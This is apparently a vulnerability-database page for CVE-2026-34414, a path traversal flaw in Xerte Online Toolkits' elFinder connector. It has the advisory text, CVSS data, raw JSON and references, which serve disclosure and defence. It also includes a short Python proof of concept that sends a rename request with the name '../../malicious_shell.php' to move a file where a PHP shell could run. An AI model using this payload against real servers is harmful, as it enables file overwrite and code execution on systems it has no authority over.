Security Vulnerability Report
中文
CVE-2026-34414 CVSS 7.1 HIGH

CVE-2026-34414

Published: 2026-04-22 19:17:04
Last Modified: 2026-04-24 20:16:25

Description

Xerte Online Toolkits versions 3.15 and earlier contain a relative path traversal vulnerability in the elFinder connector endpoint at /editor/elfinder/php/connector.php where the name parameter in rename commands is not sanitized for path traversal sequences. Attackers can supply a name value containing directory traversal sequences to move files from project media directories to arbitrary locations on the filesystem, potentially overwriting application files, achieving stored cross-site scripting, or combining with other vulnerabilities to achieve unauthenticated remote code execution by moving PHP code files to the application root.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Xerte Online Toolkits <= 3.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_url, session_cookie): """ PoC for CVE-2026-34414: Path Traversal in Xerte elFinder Connector This script attempts to rename a file to traverse directories. """ # elFinder connector endpoint url = f"{target_url}/editor/elfinder/php/connector.php" # The 'cmd' is rename, 'target' is the file hash (needs to be valid), 'name' is the new path # In a real scenario, the attacker would need a valid file hash and a file they have access to. payload = { "cmd": "rename", "target": "l1_X3Jlc3RfdGVzdF9maWxlLnBocA", # Example hash for a file "name": "../../malicious_shell.php" # Traversal payload } headers = { "Cookie": f"PHPSESSID={session_cookie}" } try: response = requests.post(url, data=payload, headers=headers) if response.status_code == 200: print("[+] Request sent. Check if the file was moved.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Usage # exploit("http://target-xerte-site.com", "valid_session_id")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34414", "sourceIdentifier": "[email protected]", "published": "2026-04-22T19:17:04.033", "lastModified": "2026-04-24T20:16:25.203", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xerte Online Toolkits versions 3.15 and earlier contain a relative path traversal vulnerability in the elFinder connector endpoint at /editor/elfinder/php/connector.php where the name parameter in rename commands is not sanitized for path traversal sequences. Attackers can supply a name value containing directory traversal sequences to move files from project media directories to arbitrary locations on the filesystem, potentially overwriting application files, achieving stored cross-site scripting, or combining with other vulnerabilities to achieve unauthenticated remote code execution by moving PHP code files to the application root."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/bootstrapbool/xerteonlinetoolkits-rce", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/commit/02661be88cc369325ea01b508086bde7fbfec805", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/commit/17e4f945fe6a3400fa88c01eda18c1075ee4a212", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/commit/507d55c5e91bf9310b5b1c7fad8aebfef902ad23", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/issues/1527", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/xerte-online-toolkits-path-traversal-via-connector-php", "source": "[email protected]"}, {"url": "https://xerte.org.uk/index.php/en/downloads-1/category/3-xerte-online-toolkits", "source": "[email protected]"}, {"url": "https://xerte.org.uk/xertetoolkits_3.15_ChangeLog.html", "source": "[email protected]"}]}}